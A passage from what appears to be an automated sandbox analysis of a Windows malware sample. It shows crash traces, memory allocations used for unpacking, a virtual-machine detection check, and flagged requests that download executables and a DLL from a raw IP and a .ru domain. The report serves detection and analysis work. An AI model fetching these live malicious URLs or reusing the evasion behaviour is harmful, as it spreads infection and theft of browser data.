ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059220 registers.edi: 40308966 registers.eax: 0 registers.ebp: 4059272 registers.edx: 88057672 registers.ebx: 40308816 registers.esi: 40309036 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69f437 0x69f389 0x69cfe4 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059220 registers.edi: 41325150 registers.eax: 0 registers.ebp: 4059272 registers.edx: 88057672 registers.ebx: 41325000 registers.esi: 41325220 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69f437 0x69f389 0x69cfe4 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059220 registers.edi: 42341334 registers.eax: 0 registers.ebp: 4059272 registers.edx: 88057672 registers.ebx: 42341184 registers.esi: 42341404 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69f879 0x69f7c9 0x69d055 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059216 registers.edi: 36963602 registers.eax: 0 registers.ebp: 4059268 registers.edx: 88057672 registers.ebx: 36963452 registers.esi: 36963672 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69f879 0x69f7c9 0x69d055 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059216 registers.edi: 37993062 registers.eax: 0 registers.ebp: 4059268 registers.edx: 88057672 registers.ebx: 37992912 registers.esi: 37993132 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69f879 0x69f7c9 0x69d055 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059216 registers.edi: 39011366 registers.eax: 0 registers.ebp: 4059268 registers.edx: 88057672 registers.ebx: 39011216 registers.esi: 39011436 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:47 a.m.	stacktrace: RtlpNtEnumerateSubKey+0x2a2b isupper-0x4e2b ntdll+0xcf559 @ 0x7746f559 RtlpNtEnumerateSubKey+0x2b0b isupper-0x4d4b ntdll+0xcf639 @ 0x7746f639 RtlUlonglongByteSwap+0xba5 RtlFreeOemString-0x20d35 ntdll+0x7df95 @ 0x7741df95 HeapFree+0x14 GetProcessHeap-0xc kernel32+0x114dd @ 0x757314dd ama+0x22f9f @ 0x942f9f ama+0x667ec @ 0x9867ec ama+0x3ba3 @ 0x923ba3 ama+0x3ba3 @ 0x923ba3 ama+0x3b4d @ 0x923b4d ama+0x3ba3 @ 0x923ba3 ama+0x3a7d @ 0x923a7d ama+0xb483 @ 0x92b483 ama+0xc1e0 @ 0x92c1e0 ama+0xb311 @ 0x92b311 ama+0x3e518 @ 0x95e518 ama+0x89ad @ 0x9289ad ama+0x9b99 @ 0x929b99 ama+0xbee2 @ 0x92bee2 ama+0x15348 @ 0x935348 ama+0x1601f @ 0x93601f ama+0x27f80 @ 0x947f80 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: eb 12 8b 45 ec 8b 08 8b 09 50 51 e8 6f ff ff ff exception.symbol: RtlpNtEnumerateSubKey+0x1b25 isupper-0x5d31 ntdll+0xce653 exception.instruction: jmp 0x7746e667 exception.module: ntdll.dll exception.exception_code: 0xc0000374 exception.offset: 845395 exception.address: 0x7746e653 registers.esp: 7270832 registers.edi: 50304912 registers.eax: 7270848 registers.ebp: 7270952 registers.edx: 0 registers.ebx: 0 registers.esi: 11141120 registers.ecx: 2147483647	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://95.215.205.85/INSTALLS.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://95.215.205.85/eth.exe
suspicious_features	GET method with no useragent header	suspicious_request	GET https://builder.pp.ru/testqcwqebqweqwe.dll
suspicious_features	GET method with no useragent header	suspicious_request	GET https://api.ip.sb/geoip

Performs some HTTP requests (4 events)

request	GET http://95.215.205.85/INSTALLS.exe
request	GET http://95.215.205.85/eth.exe
request	GET https://builder.pp.ru/testqcwqebqweqwe.dll
request	GET https://api.ip.sb/geoip

Resolves a suspicious Top Level Domain (TLD) (1 event)

domain

builder.pp.ru

description

Russian Federation domain TLD

Allocates read-write-execute memory (usually to unpack itself) (50 out of 104 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 region_size: 393216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72741000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72742000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 region_size: 1966080 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01db0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00582000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00915000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0091b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00917000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:41 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0058a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0090a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00907000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00906000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0090b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e31000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e32000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e35000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e36000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04faf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04fa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e37000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e38000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e39000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05eb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 40960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05eb1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04fa1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05ebb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05ebc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05ebd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04fa2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05ebe000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05ebf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 1966080 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00950000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72531000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72532000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00810000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00900000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00472000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0048c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00690000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (2 events)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceW Sept. 8, 2021, 9:47 a.m.	number_of_free_clusters: 3351212 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1	0
GetDiskFreeSpaceW Sept. 8, 2021, 9:47 a.m.	number_of_free_clusters: 3351212 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1	0

Steals private information from local Internet browsers (4 events)

